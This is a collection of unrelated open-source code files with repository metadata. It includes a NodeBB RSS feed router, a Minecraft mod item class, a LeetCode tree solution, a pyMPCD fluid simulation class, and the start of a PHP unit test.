ESP: name = "ESP"; break; case SS: name = "SS"; break; case EFLAGS: name = "EFLAGS"; break; case EIP: name = "EIP"; break; case DS: name = "DS"; break; case ES: name = "ES"; break; case FS: name = "FS"; break; case GS: name = "GS"; break; } return name; // Bouml preserved body end 0001F437 } } /* namespace mach_module */ } /* namespace reverse */
storri/libreverse
reverse/io/input/file_readers/mac_mach/cpu_x86_32.cpp
C++
gpl-3.0
2,043
/** Copyright 2012 John Cummens (aka Shadowmage, Shadowmage4513) This software is distributed under the terms of the GNU General Public License. Please see COPYING for precise license information. This file is part of Ancient Warfare. Ancient Warfare is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Ancient Warfare is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Ancient Warfare. If not, see <http://www.gnu.org/licenses/>. */ package shadowmage.ancient_warfare.common.item; import java.util.List; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.item.ItemStack; import net.minecraft.util.StatCollector; import net.minecraft.world.World; import shadowmage.ancient_warfare.common.research.IResearchGoal; import shadowmage.ancient_warfare.common.research.ResearchGoal; import shadowmage.ancient_warfare.common.tracker.ResearchTracker; import shadowmage.ancient_warfare.common.utils.BlockPosition; public class ItemResearchNote extends AWItemClickable { /** * @param itemID * @param hasSubTypes */ public ItemResearchNote(int itemID) { super(itemID, true); this.hasLeftClick = false; this.setCreativeTab(CreativeTabAW.researchTab); this.maxStackSize = 1; } @Override public void addInformation(ItemStack stack, EntityPlayer player, List list, boolean par4) { super.addInformation(stack, player, list, par4); list.add("Right Click to learn research."); } @Override public boolean onUsedFinal(World world, EntityPlayer player, ItemStack stack, BlockPosition hit, int side) { IResearchGoal goal = ResearchGoal.getGoalByID(stack.getItemDamage()); if(world.isRemote) { player.addChatMessage("Learning research from notes: " + StatCollector.translateToLocal(goal.getDisplayName())); return true; } if(goal!=null && !ResearchTracker.instance().getEntryFor(player).hasDoneResearch(goal)) { ResearchTracker.instance().addResearchToPlayer(world, player.getEntityName(), goal.getGlobalResearchNum()); if(!player.capabilities.isCreativeMode) { stack.stackSize--; if(stack.stackSize<=0) { player.inventory.setInventorySlotContents(player.inventory.currentItem, null); } return true; } } return true; } @Override public boolean onUsedFinalLeft(World world, EntityPlayer player, ItemStack stack, BlockPosition hit, int side) { return false; } }
shadowmage45/AncientWarfare
AncientWarfare/src/shadowmage/ancient_warfare/common/item/ItemResearchNote.java
Java
gpl-3.0
2,960
'use strict'; var async = require('async'); var rss = require('rss'); var nconf = require('nconf'); var validator = require('validator'); var posts = require('../posts'); var topics = require('../topics'); var user = require('../user'); var categories = require('../categories'); var meta = require('../meta'); var helpers = require('../controllers/helpers'); var privileges = require('../privileges'); var db = require('../database'); var utils = require('../utils'); var controllers404 = require('../controllers/404.js'); var terms = { daily: 'day', weekly: 'week', monthly: 'month', alltime: 'alltime', }; module.exports = function (app, middleware) { app.get('/topic/:topic_id.rss', middleware.maintenanceMode, generateForTopic); app.get('/category/:category_id.rss', middleware.maintenanceMode, generateForCategory); app.get('/recent.rss', middleware.maintenanceMode, generateForRecent); app.get('/top.rss', middleware.maintenanceMode, generateForTop); app.get('/top/:term.rss', middleware.maintenanceMode, generateForTop); app.get('/popular.rss', middleware.maintenanceMode, generateForPopular); app.get('/popular/:term.rss', middleware.maintenanceMode, generateForPopular); app.get('/recentposts.rss', middleware.maintenanceMode, generateForRecentPosts); app.get('/category/:category_id/recentposts.rss', middleware.maintenanceMode, generateForCategoryRecentPosts); app.get('/user/:userslug/topics.rss', middleware.maintenanceMode, generateForUserTopics); app.get('/tags/:tag.rss', middleware.maintenanceMode, generateForTag); }; function validateTokenIfRequiresLogin(requiresLogin, cid, req, res, callback) { var uid = req.query.uid; var token = req.query.token; if (!requiresLogin) { return callback(); } if (!uid || !token) { return helpers.notAllowed(req, res); } async.waterfall([ function (next) { db.getObjectField('user:' + uid, 'rss_token', next); }, function (_token, next) { if (token === _token) { async.waterfall([ function (next) { privileges.categories.get(cid, uid, next); }, function (privileges, next) { if (!privileges.read) { return helpers.notAllowed(req, res); } next(); }, ], callback); return; } user.auth.logAttempt(uid, req.ip, next); }, function () { helpers.notAllowed(req, res); }, ], callback); } function generateForTopic(req, res, callback) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } var tid = req.params.topic_id; var userPrivileges; var topic; async.waterfall([ function (next) { async.parallel({ privileges: function (next) { privileges.topics.get(tid, req.uid, next); }, topic: function (next) { topics.getTopicData(tid, next); }, }, next); }, function (results, next) { if (!results.topic || (parseInt(results.topic.deleted, 10) && !results.privileges.view_deleted)) { return controllers404.send404(req, res); } userPrivileges = results.privileges; topic = results.topic; validateTokenIfRequiresLogin(!results.privileges['topics:read'], results.topic.cid, req, res, next); }, function (next) { topics.getTopicWithPosts(topic, 'tid:' + tid + ':posts', req.uid || req.query.uid || 0, 0, 25, false, next); }, function (topicData) { topics.modifyPostsByPrivilege(topicData, userPrivileges); var description = topicData.posts.length ? topicData.posts[0].content : ''; var image_url = topicData.posts.length ? topicData.posts[0].picture : ''; var author = topicData.posts.length ? topicData.posts[0].username : ''; var feed = new rss({ title: utils.stripHTMLTags(topicData.title, utils.tags), description: description, feed_url: nconf.get('url') + '/topic/' + tid + '.rss', site_url: nconf.get('url') + '/topic/' + topicData.slug, image_url: image_url, author: author, ttl: 60, }); var dateStamp; if (topicData.posts.length > 0) { feed.pubDate = new Date(parseInt(topicData.posts[0].timestamp, 10)).toUTCString(); } topicData.posts.forEach(function (postData) { if (!postData.deleted) { dateStamp = new Date(parseInt(parseInt(postData.edited, 10) === 0 ? postData.timestamp : postData.edited, 10)).toUTCString(); feed.item({ title: 'Reply to ' + utils.stripHTMLTags(topicData.title, utils.tags) + ' on ' + dateStamp, description: postData.content, url: nconf.get('url') + '/post/' + postData.pid, author: postData.user ? postData.user.username : '', date: dateStamp, }); } }); sendFeed(feed, res); }, ], callback); } function generateForCategory(req, res, next) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } var cid = req.params.category_id; var category; async.waterfall([ function (next) { async.parallel({ privileges: function (next) { privileges.categories.get(cid, req.uid, next); }, category: function (next) { categories.getCategoryById({ cid: cid, set: 'cid:' + cid + ':tids', reverse: true, start: 0, stop: 25, uid: req.uid || req.query.uid || 0, }, next); }, }, next); }, function (results, next) { category = results.category; validateTokenIfRequiresLogin(!results.privileges.read, cid, req, res, next); }, function (next) { generateTopicsFeed({ uid: req.uid || req.query.uid || 0, title: category.name, description: category.description, feed_url: '/category/' + cid + '.rss', site_url: '/category/' + category.cid, }, category.topics, next); }, function (feed) { sendFeed(feed, res); }, ], next); } function generateForRecent(req, res, next) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } async.waterfall([ function (next) { if (req.query.token && req.query.uid) { db.getObjectField('user:' + req.query.uid, 'rss_token', next); } else { next(null, null); } }, function (token, next) { generateForTopics({ uid: token && token === req.query.token ? req.query.uid : req.uid, title: 'Recently Active Topics', description: 'A list of topics that have been active within the past 24 hours', feed_url: '/recent.rss', site_url: '/recent', }, 'topics:recent', req, res, next); }, ], next); } function generateForTop(req, res, next) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } var term = terms[req.params.term] || 'day'; var uid; async.waterfall([ function (next) { if (req.query.token && req.query.uid) { db.getObjectField('user:' + req.query.uid, 'rss_token', next); } else { next(null, null); } }, function (token, next) { uid = token && token === req.query.token ? req.query.uid : req.uid; topics.getSortedTopics({ uid: uid, start: 0, stop: 19, term: term, sort: 'votes', }, next); }, function (result, next) { generateTopicsFeed({ uid: uid, title: 'Top Voted Topics', description: 'A list of topics that have received the most votes', feed_url: '/top/' + (req.params.term || 'daily') + '.rss', site_url: '/top/' + (req.params.term || 'daily'), }, result.topics, next); }, function (feed) { sendFeed(feed, res); }, ], next); } function generateForPopular(req, res, next) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } var term = terms[req.params.term] || 'day'; var uid; async.waterfall([ function (next) { if (req.query.token && req.query.uid) { db.getObjectField('user:' + req.query.uid, 'rss_token', next); } else { next(null, null); } }, function (token, next) { uid = token && token === req.query.token ? req.query.uid : req.uid; topics.getSortedTopics({ uid: uid, start: 0, stop: 19, term: term, sort: 'posts', }, next); }, function (result, next) { generateTopicsFeed({ uid: uid, title: 'Popular Topics', description: 'A list of topics that are sorted by post count', feed_url: '/popular/' + (req.params.term || 'daily') + '.rss', site_url: '/popular/' + (req.params.term || 'daily'), }, result.topics, next); }, function (feed) { sendFeed(feed, res); }, ], next); } function generateForTopics(options, set, req, res, next) { var start = options.hasOwnProperty('start') ? options.start : 0; var stop = options.hasOwnProperty('stop') ? options.stop : 19; async.waterfall([ function (next) { topics.getTopicsFromSet(set, options.uid, start, stop, next); }, function (data, next) { generateTopicsFeed(options, data.topics, next); }, function (feed) { sendFeed(feed, res); }, ], next); } function generateTopicsFeed(feedOptions, feedTopics, callback) { feedOptions.ttl = 60; feedOptions.feed_url = nconf.get('url') + feedOptions.feed_url; feedOptions.site_url = nconf.get('url') + feedOptions.site_url; feedTopics = feedTopics.filter(Boolean); var feed = new rss(feedOptions); if (feedTopics.length > 0) { feed.pubDate = new Date(parseInt(feedTopics[0].lastposttime, 10)).toUTCString(); } async.each(feedTopics, function (topicData, next) { var feedItem = { title: utils.stripHTMLTags(topicData.title, utils.tags), url: nconf.get('url') + '/topic/' + topicData.slug, date: new Date(parseInt(topicData.lastposttime, 10)).toUTCString(), }; if (topicData.teaser && topicData.teaser.user) { feedItem.description = topicData.teaser.content; feedItem.author = topicData.teaser.user.username; feed.item(feedItem); return next(); } topics.getMainPost(topicData.tid, feedOptions.uid, function (err, mainPost) { if (err) { return next(err); } if (!mainPost) { feed.item(feedItem); return next(); } feedItem.description = mainPost.content; feedItem.author = mainPost.user.username; feed.item(feedItem); next(); }); }, function (err) { callback(err, feed); }); } function generateForRecentPosts(req, res, next) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } async.waterfall([ function (next) { posts.getRecentPosts(req.uid, 0, 19, 'month', next); }, function (posts) { var feed = generateForPostsFeed({ title: 'Recent Posts', description: 'A list of recent posts', feed_url: '/recentposts.rss', site_url: '/recentposts', }, posts); sendFeed(feed, res); }, ], next); } function generateForCategoryRecentPosts(req, res, callback) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } var cid = req.params.category_id; var category; var posts; async.waterfall([ function (next) { async.parallel({ privileges: function (next) { privileges.categories.get(cid, req.uid, next); }, category: function (next) { categories.getCategoryData(cid, next); }, posts: function (next) { categories.getRecentReplies(cid, req.uid || req.query.uid || 0, 20, next); }, }, next); }, function (results, next) { if (!results.category) { return controllers404.send404(req, res); } category = results.category; posts = results.posts; validateTokenIfRequiresLogin(!results.privileges.read, cid, req, res, next); }, function () { var feed = generateForPostsFeed({ title: category.name + ' Recent Posts', description: 'A list of recent posts from ' + category.name, feed_url: '/category/' + cid + '/recentposts.rss', site_url: '/category/' + cid + '/recentposts', }, posts); sendFeed(feed, res); }, ], callback); } function generateForPostsFeed(feedOptions, posts) { feedOptions.ttl = 60; feedOptions.feed_url = nconf.get('url') + feedOptions.feed_url; feedOptions.site_url = nconf.get('url') + feedOptions.site_url; var feed = new rss(feedOptions); if (posts.length > 0) { feed.pubDate = new Date(parseInt(posts[0].timestamp, 10)).toUTCString(); } posts.forEach(function (postData) { feed.item({ title: postData.topic ? postData.topic.title : '', description: postData.content, url: nconf.get('url') + '/post/' + postData.pid, author: postData.user ? postData.user.username : '', date: new Date(parseInt(postData.timestamp, 10)).toUTCString(), }); }); return feed; } function generateForUserTopics(req, res, callback) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } var userslug = req.params.userslug; async.waterfall([ function (next) { user.getUidByUserslug(userslug, next); }, function (uid, next) { if (!uid) { return callback(); } user.getUserFields(uid, ['uid', 'username'], next); }, function (userData, next) { generateForTopics({ uid: req.uid, title: 'Topics by ' + userData.username, description: 'A list of topics that are posted by ' + userData.username, feed_url: '/user/' + userslug + '/topics.rss', site_url: '/user/' + userslug + '/topics', }, 'uid:' + userData.uid + ':topics', req, res, next); }, ], callback); } function generateForTag(req, res, next) { if (parseInt(meta.config['feeds:disableRSS'], 10) === 1) { return controllers404.send404(req, res); } var tag = validator.escape(String(req.params.tag)); var page = parseInt(req.query.page, 10) || 1; var topicsPerPage = meta.config.topicsPerPage || 20; var start = Math.max(0, (page - 1) * topicsPerPage); var stop = start + topicsPerPage - 1; generateForTopics({ uid: req.uid, title: 'Topics tagged with ' + tag, description: 'A list of topics that have been tagged with ' + tag, feed_url: '/tags/' + tag + '.rss', site_url: '/tags/' + tag, start: start, stop: stop, }, 'tag:' + tag + ':topics', req, res, next); } function sendFeed(feed, res) { var xml = feed.xml(); res.type('xml').set('Content-Length', Buffer.byteLength(xml)).send(xml); }
BenLubar/NodeBB
src/routes/feeds.js
JavaScript
gpl-3.0
14,110
# Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def invertTree(self, root): """ :type root: TreeNode :rtype: TreeNode """ if not root: return root.left, root.right = root.right, root.left self.invertTree(root.left) self.invertTree(root.right) return root
zqfan/leetcode
algorithms/226. Invert Binary Tree/solution.py
Python
gpl-3.0
490
# Copyright (C) 2011 Pierre de Buyl # This file is part of pyMPCD # pyMPCD is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # pyMPCD is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with pyMPCD. If not, see <http://www.gnu.org/licenses/>. """ MPCD.py - This file contains the base class to perform MPCD simulations: MPCD_system. """ ## \namespace pyMPCD::MPCD # \brief MPCD.py - This file contains the base class to perform MPCD simulations: MPCD_system. # # MPCD methods define the basic import numpy as np from scipy.misc import factorial from MPCD_f import mpcd_mod ## Defines all variables for a MPCD system # # A simulation box is either declared via MPCD_system or through one test_case or from a file. # # \b Example # \code #import pyMPCD # import the pyMPCD package #box = pyMPCD.MPCD_system( (8,8,8), 10, 1.0) # Create a PBC system of 8x8x8 cells, density 10 and cell size 1.0 # \endcode class MPCD_system(): """ The MPCD_system class contains all variables relevant for MPCD simulations: box information, periodic boundaries, particles positions, ... """ ## Initializes a MPCD_system # # \param N_cells a 3 elements list or tuple that contains the number of cells in each dimension. # \param density an integer number that define the average number of particles per cell. # \param a the linear cell size. # \param N_species The number of solvent species to consider. def __init__( self, N_cells , density , a , N_species = 1): """ Defines a MPCD_system with periodic boundary conditions. N_cells is the number of cells in the 3 dimensions. density is the reference density for initialization and for filling cells with virtual particles. a is the linear cell size. """ ## Number of physical cells for the simulation. self.N_cells = np.array( N_cells , dtype=np.int32) # Check the input for N_cells if (len(self.N_cells) != 3): raise Exception ## The number of actual binning cells. Is higher than N_cells to allow for non-periodic systems. self.N_grid = self.N_cells + 1 ## The average density (number of particles per cell). self.density = int(density) ## The total number of MPCD particles. self.so_N = np.prod( self.N_cells ) * self.density ## The linear cell size. self.a = float(a) ## The number of solvent species self.N_species = N_species # Check that N_species is valid if (N_species < 1): raise Exception ## The shift applied to the system. self.shift = np.zeros( (3,) , dtype=np.float64 ) ## NumPy array for the position of the MPCD solvent. self.so_r = np.zeros( (self.so_N , 3) , dtype=np.float64 ) ## A view to so_r in Fortran order. self.so_r_f = self.so_r.T ## NumPy array for the velocity of the MPCD solvent. self.so_v = np.zeros( (self.so_N , 3) , dtype=np.float64 ) ## A view to so_v in Fortran order. self.so_v_f = self.so_v.T ## The local temperature in the cells. self.cells_temperature = np.zeros( (self.N_grid[0], self.N_grid[1], self.N_grid[2]), dtype=np.float64 ) ## NumPy array for the species. self.so_species = np.zeros( (self.so_N, ), dtype=np.int32) ## NumPy array holding the mass of each species. self.so_mass = np.ones( (self.N_species, ), dtype=np.float64) ## The size of the box. self.L = self.N_cells*self.a ## The MPCD time step, used for streaming. self.tau = float(0.) ## The number of particles in each cell. self.cells = np.zeros( self.N_grid, dtype=np.int32 ) ## A view to cells in Fortran order. self.cells_f = self.cells.T ## The list of particles, per cell. self.par_list = np.zeros( (self.N_grid[0], self.N_grid[1], self.N_grid[2], 64), dtype=np.int32 ) ## A view to par_list in Fortran order. self.par_list_f = self.par_list.T ## The cell-wise center-of-mass velocity. self.v_com = np.zeros( (self.N_grid[0], self.N_grid[1], self.N_grid[2], 3), dtype=np.float64 ) ## The origin of the grid. self.root = np.zeros( (3,), dtype=np.float64) ## Boundary conditions, in the three directions. 0 = PBC , 1 = elastic collision with virtual particles. self.BC = np.zeros( (3,) , dtype=np.int32 ) ## Wall velocity, on each wall. indices = wall dir (x,y,z) , wall low/high , v. self.wall_v0 = np.zeros( (3, 2, 3) , dtype=np.float64 ) ## Wall temperature for the virtual particles on each wall side. indices = wall dir (x,y,z), wall low/high. self.wall_temp = np.zeros( (3, 2) , dtype=np.float64 ) ## Magnitude of the acceleration provided by gravity, if applicable. self.gravity = float(0.) ## Number of chemical reactions to consider. self.N_reactions = 0 ## Kind of chemical reaction. self.reaction_kind = [] ## Rates for the chemical reactions. self.rates = [] ## Stoechiometry for reactants. self.reactants = [] ## Stoechiometry for products. self.products = [] def __str__(self): return str(type(self))+' size '+str(self.N_cells)+' , '+str(self.so_N)+' solvent particles' def add_reaction(self, rate, reactants, products): if ( not (len(reactants) == len(products) == self.N_species) ): print("Bad input for add_reaction") return if ( (min(reactants)<0) or (min(products)<0) ): print("Bad input for add_reaction") return N_reactants = np.sum(reactants) N_products = np.sum(products) if ( (N_reactants==1) and (N_products==1) ): kind = 0 elif ( reactants[0]==1 and reactants[1]==2 and products[1]==3): kind = 1 else: print("reaction type not supported in add_reaction") return self.N_reactions += 1 self.reaction_kind.append(kind) self.rates.append(rate) self.reactants.append(reactants) self.products.append(products) def close_reaction(self): if (self.N_reactions > 0): self.rates = np.array(self.rates) self.reactants = np.array(self.reactants,ndmin=2) self.products = np.array(self.products,ndmin=2) ## Initializes the particles according to a normal or flat velocity profile. # \param temp Initial temperature of the system. # \param boltz if True or unset, use a normal velocity profile of temperature T. # Else, use a flat profile. def init_v(self, temp, boltz=True): """ Initializes the particles according to a normal distribution of temperature temp and resets the total velocity of the system. If boltz is set to False, a uniform distribution is used instead """ if boltz: self.so_v[:,:] = np.random.randn( self.so_v.shape[0], self.so_v.shape[1] ) * np.sqrt(temp) self.so_v /= np.sqrt(self.so_mass[self.so_species]).reshape( (self.so_N, 1) ) else: self.so_v[:,:] = np.random.rand( self.so_v.shape[0], self.so_v.shape[1] ) self.so_v[:,:] -= 0.5 self.so_v[:,:] *= 2.*np.sqrt(6.*temp/2.) tot_v = np.sum( self.so_v*(self.so_mass[self.so_species]).reshape( (self.so_N, 1) ) , axis=0 ) / self.so_mass[self.so_species].sum() tot_v = tot_v.reshape( ( 1 , tot_v.shape[0] ) ) self.so_v -= tot_v ## Places particles in the simulation box at random according to a uniform distribution. def init_r(self): """ Places particles in the simulation box at random according to a uniform distribution. """ self.so_r[:,:] = np.random.rand( self.so_r.shape[0], self.so_r.shape[1] ) self.so_r *= (self.a*self.N_cells).reshape( ( 1 , self.so_r.shape[1] ) ) ## Advances the particles according to their velocities. def stream(self): """Advances the particles according to their velocities.""" self.so_r[:] += self.so_v*self.tau ## Advances the particles according to their velocities by calling a Fortran routine. def stream_f(self): """"Advances the particles according to their velocities by calling a Fortran routine.""" mpcd_mod.stream(self.so_r_f, self.so_v_f, self.tau) ## Advances the particles according to their velocities and a constant acceleration in the z direction. # Also updates the velocities to take into account the acceleration. def accel(self): """ Advances the particles according to their velocities and a constant acceleration in the z direction. Also updates the velocities to take into account the acceleration. """ self.so_r[:] += self.so_v*self.tau + np.array( [0., 0., self.gravity] ).reshape( (1, 3) )*0.5*self.tau**2 self.so_v[:] += np.array( [0., 0., self.gravity] ).reshape( (1, 3) )*self.tau ## Corrects particles positions and velocities to take into account the boundary conditions. def boundaries(self): """ Corrects particles positions and velocities to take into account the boundary conditions. PBC keep the particles in the box by sending them to their periodic in-box location. Elastic walls reflect particles and reverse the velocities. """ for i in range(3): # take each dim if (self.BC[i] == 0): # if PBC, simply appy x = mod( x , L ) to keep particles in the box self.so_r[:,i] = np.remainder( self.so_r[:,i] , self.L[i] ) elif (self.BC[i] == 1): # if elastic wall, reflect "too high" particles around L and "too low" particles around 0 j_out = ( self.so_r[:,i] > self.L[i] ) self.so_r[j_out,i] = 2.*self.L[i] - self.so_r[j_out,i] self.so_v[j_out,i] = - self.so_v[j_out,i] j_out = ( self.so_r[:,i] < 0 ) self.so_r[j_out,i] = - self.so_r[j_out,i] self.so_v[j_out,i] = - self.so_v[j_out,i] else: print "unknown boundary condition ", self.BC[i] raise Exception def check_in_box(self): """ A test routine to check that all particles are actually in the box [0:L] """ r_min = self.so_r.min(axis=0) t_min = ( r_min >= 0. ).min() r_max = self.so_r.max(axis=0) t_max = ( r_max < self.L ).min() if ( t_min and t_max ): return True else: return False def print_check_in_box(self): if (self.check_in_box()): print "All particles inside the box" else: print "Some particles outside the box" def null_shift(self): """ Resets the shift to zero. """ self.shift[:] = 0. self.root[:] = self.shift[:] - self.a def rand_shift(self): """ Applies a random shift in [0:a[ to the system. """ self.shift[:] = np.random.random( self.shift.shape[0] )*self.a self.root[:] = self.shift[:] - self.a def idx(self, i , cijk): """ Returns in cijk the three cell indices for particle i. """ np.floor( (self.so_r[i,:] - self.root) / self.a , cijk ) for j in range(3): my_n = self.N_cells[j] if (self.BC[j] == 0): if ( cijk[j] >= my_n ): cijk[j] -= my_n ## Bins the particles into the MPCD cells. def fill_box(self): """ Bins the particles into the MPCD cells. """ cijk = np.zeros( (3,) , dtype=np.int32 ) self.cells[:] = 0 self.par_list[:] = 0 for i in range(self.so_N): self.idx( i , cijk ) my_n = self.cells[ cijk[0] , cijk[1] , cijk[2] ] self.par_list[ cijk[0] , cijk[1] , cijk[2] , my_n ] = i self.cells[ cijk[0] , cijk[1] , cijk[2] ] = my_n + 1 ## Bins the particles into the MPCD cells by calling a Fortran routine. def fill_box_f(self): """"Bins the particles into the MPCD cells by calling a Fortran routine.""" mpcd_mod.fill_box(self.so_r_f, self.cells_f, self.par_list_f, self.a, self.root) ## Computes the center of mass velocity for all the cells in the system. # \param self A MPCD_system instance. def compute_v_com(self): """ Computes the c.o.m. velocity for all cells. """ self.v_com[:] = 0 for ci in range(self.N_grid[0]): for cj in range(self.N_grid[1]): for ck in range(self.N_grid[2]): mass_local = 0. v_local = np.zeros( (3, ) , dtype=np.float64) n_local = self.cells[ci,cj,ck] for i in range( n_local ): part = self.par_list[ci,cj,ck,i] v_local += self.so_v[part,:]*self.so_mass[self.so_species[part]] mass_local += self.so_mass[self.so_species[part]] if (n_local > 0): self.v_com[ci,cj,ck,:] = v_local/mass_local ## Computes the temperature of the cells. # The temperature is computed as \f$ \frac{ \sum_{i=1}^{N^\xi} m_i (v_i-v_0) ^2 }{N^\xi-1} \f$ # where \f$ v_0 \f$ is the center of mass velocity of the cell. # \param self A MPCD_system instance. def compute_cells_temperature(self): for ci in range(self.N_grid[0]): for cj in range(self.N_grid[1]): for ck in range(self.N_grid[2]): v_local = self.v_com[ci,cj,ck,:] T_local = 0. n_local = self.cells[ci,cj,ck] for i in range(n_local): part = self.par_list[ci,cj,ck,i] T_local += self.so_mass[self.so_species[part]]*((self.so_v[part,:]-v_local)**2).sum() if (n_local>1): T_local /= 3.*(n_local-1) self.cells_temperature[ci,cj,ck] = T_local def MPCD_step_axis(self): """ Performs a MPCD collision step where the axis is one of x, y or z, chosen at random. """ v_therm = np.zeros((3,)) nn = self.N_cells.copy() nn += self.BC is_wall = False v_wall = np.zeros( (3,) ) local_N = np.zeros( (self.N_species,) , dtype=np.int32) amu = np.zeros( (self.N_reactions,), dtype=np.float64) for ci in range(nn[0]): for cj in range(nn[1]): for ck in range(nn[2]): # Choose an axis to perform the rotation rand_axis = np.random.randint(0,3) axis1 = ( rand_axis + 1 ) % 3 axis2 = ( rand_axis + 2 ) % 3 if (np.random.randint(2)==0): r_sign = 1 else: r_sign = -1 # test if is a wall is_wall = False local_i = [ ci , cj , ck ] for i in range(3): if (self.BC[i]==1): if ( (local_i[i]==0) or (local_i[i]==nn[i]-1) ): is_wall=True v_wall[:] = self.wall_v0[ i , min( local_i[i], 1 ) , : ] v_temp = float(self.wall_temp[ i , min( local_i[i] , 1 ) ]) # number of particles in the cell local_n = self.cells[ci,cj,ck] # c.o.m. velocity in the cell local_v = self.v_com[ci,cj,ck,:].copy() # if cell is a wall, add virtual particles if (is_wall): if (local_n < self.density): local_v = ( (np.random.randn(3) * np.sqrt(v_temp * (self.density - local_n) ) ) + v_wall*(self.density - local_n) + local_v * local_n ) / self.density v_therm +=local_v # perform cell-wise collisions local_N *= 0 for i in range(local_n): part = self.par_list[ci,cj,ck,i] self.so_v[part,:] -= local_v temp = self.so_v[part,axis2] self.so_v[part,axis2] = r_sign*self.so_v[part,axis1] self.so_v[part,axis1] = -r_sign*temp self.so_v[part,:] += local_v local_N[self.so_species[part]] += 1 # evaluate reaction probability a0 = 0. for i in range(self.N_reactions): amu[i] = self.combi( i, local_N )*self.rates[i] a0 += amu[i] P_something = a0*self.tau reac = -1 if (np.random.rand() < P_something): amu /= a0 amu = np.cumsum(amu) x = np.random.rand() for i in range(self.N_reactions): if (x < amu[i]): reac = i break # apply reaction reac if (reac>=0): if (self.reaction_kind[reac]==0): reac_s = np.where(self.reactants[i]==1)[0][0] prod_s = np.where(self.products[i]==1)[0][0] for i in range(local_n): part = self.par_list[ci,cj,ck,i] if (self.so_species[part]==reac_s): self.so_species[part] = prod_s break elif (self.reaction_kind[reac]==1): reac_s = np.where(self.reactants[i]==1)[0][0] prod_s = np.where(self.products[i]==3)[0][0] for i in range(local_n): part = self.par_list[ci,cj,ck,i] if (self.so_species[part]==reac_s): self.so_species[part] = prod_s break else: raise Exception def combi(self, reac, N): R = self.reactants[reac] P = self.products[reac] r = 1.0 for i in range(self.N_species): if ( N[i] < R[i] ): return 0 r *= factorial(N[i],exact=1) r /= factorial(N[i]-R[i],exact=1) return r ## Exchanges the positions, momenta and species of two solvent particles. # \param i index of the first particle to be exchanged. # \param j index of the second particle to be exchanged. def exchange_solvent(self,i,j): """ Exchanges the positions, momenta and species of two solvent particles. """ tmp_copy = self.so_r[i,:].copy() self.so_r[i,:] = self.so_r[j,:] self.so_r[j,:] = tmp_copy tmp_copy = self.so_v[i,:].copy() self.so_v[i,:] = self.so_v[j,:] self.so_v[j,:] = tmp_copy tmp_copy = self.so_species[i].copy() self.so_species[i] = self.so_species[j] self.so_species[j] = tmp_copy ## Sorts the solvent in the x,y,z cell order. def sort_solvent(self): """ Sorts the solvent in the x,y,z cell order. """ nn = self.N_cells.copy() nn += self.BC array_idx = 0 for ci in range(nn[0]): for cj in range(nn[1]): for ck in range(nn[2]): local_n = self.cells[ci,cj,ck] for i in range(local_n): self.exchange_solvent(self.par_list[ci,cj,ck,i],array_idx) array_idx += 1 def one_full_step(self): """ Performs a full step of MPCD without gravitation, including the streaming, taking into account the boundary conditions and the MPCD collision step. """ self.stream() self.boundaries() self.rand_shift() self.fill_box() self.compute_v_com() self.MPCD_step_axis() def one_full_accel(self): """ Performs a full step of MPCD with gravitation, including the streaming, taking into account the boundary conditions and the MPCD collision step. """ self.accel() self.boundaries() self.rand_shift() self.fill_box() self.compute_v_com() self.MPCD_step_axis() def one_full_step_f(self): """ Performs a full step of MPCD without gravitation, including the streaming, taking into account the boundary conditions and the MPCD collision step. The streaming and binning steps are performed in Fortran. """ self.stream_f() self.boundaries() self.rand_shift() self.fill_box_f() self.compute_v_com() self.MPCD_step_axis()
pdebuyl/pyMPCD
pyMPCD/MPCD.py
Python
gpl-3.0
21,970
<?php namespace Tests\PhpCmplr\Core\Reflection; use PhpCmplr\Core\Container; use PhpCmplr\Core\FileStoreInterface; use PhpCmplr\Core\SourceFile\SourceFile; use PhpCmplr\Core\Parser\Parser; use PhpCmplr\Core\DocComment\DocCommentParser; use PhpCmplr\Core\NameResolver\NameResolver; use PhpCmplr\Core\Reflection\FileReflection; use PhpCmplr\Core\Reflection\LocatorReflection; use PhpCmplr\Core\Reflection\LocatorInterface; use PhpCmplr\Core\Reflection\Element\Class_; use PhpCmplr\Core\Reflection\Element\ClassLike; use PhpCmplr\Core\Reflection\Element\Function_; use PhpCmplr\Core\Reflection\Element\Interface_; use PhpCmplr\Core\Reflection\Element\Trait_; use PhpCmplr\Util\FileIOInterface; use PhpCmplr\Core\Parser\PositionsReconstructor; /** * @covers \PhpCmplr\Core\Reflection\LocatorReflection */ class LocatorReflectionTest extends \PHPUnit_Framework_TestCase { protected function loadFile($contents, $path = 'qaz.php') { $container = new Container(); $container->set('file', new SourceFile($container, $path, $contents)); $container->set('parser', new Parser($container)); $container->set('parser.positions_reconstructor', new PositionsReconstructor($container)); $container->set('doc_comment', new DocCommentParser($container)); $container->set('name_resolver', new NameResolver($container)); $container->set('reflection.file', new FileReflection($container)); return $container; } public function test_findClass() { $cont1 = $this->loadFile('<?php class CC { public function f() {} }', '/qaz.php'); $cont2 = $this->loadFile('<?php ;', '/wsx.php'); $fileStore = $this->getMockForAbstractClass(FileStoreInterface::class); 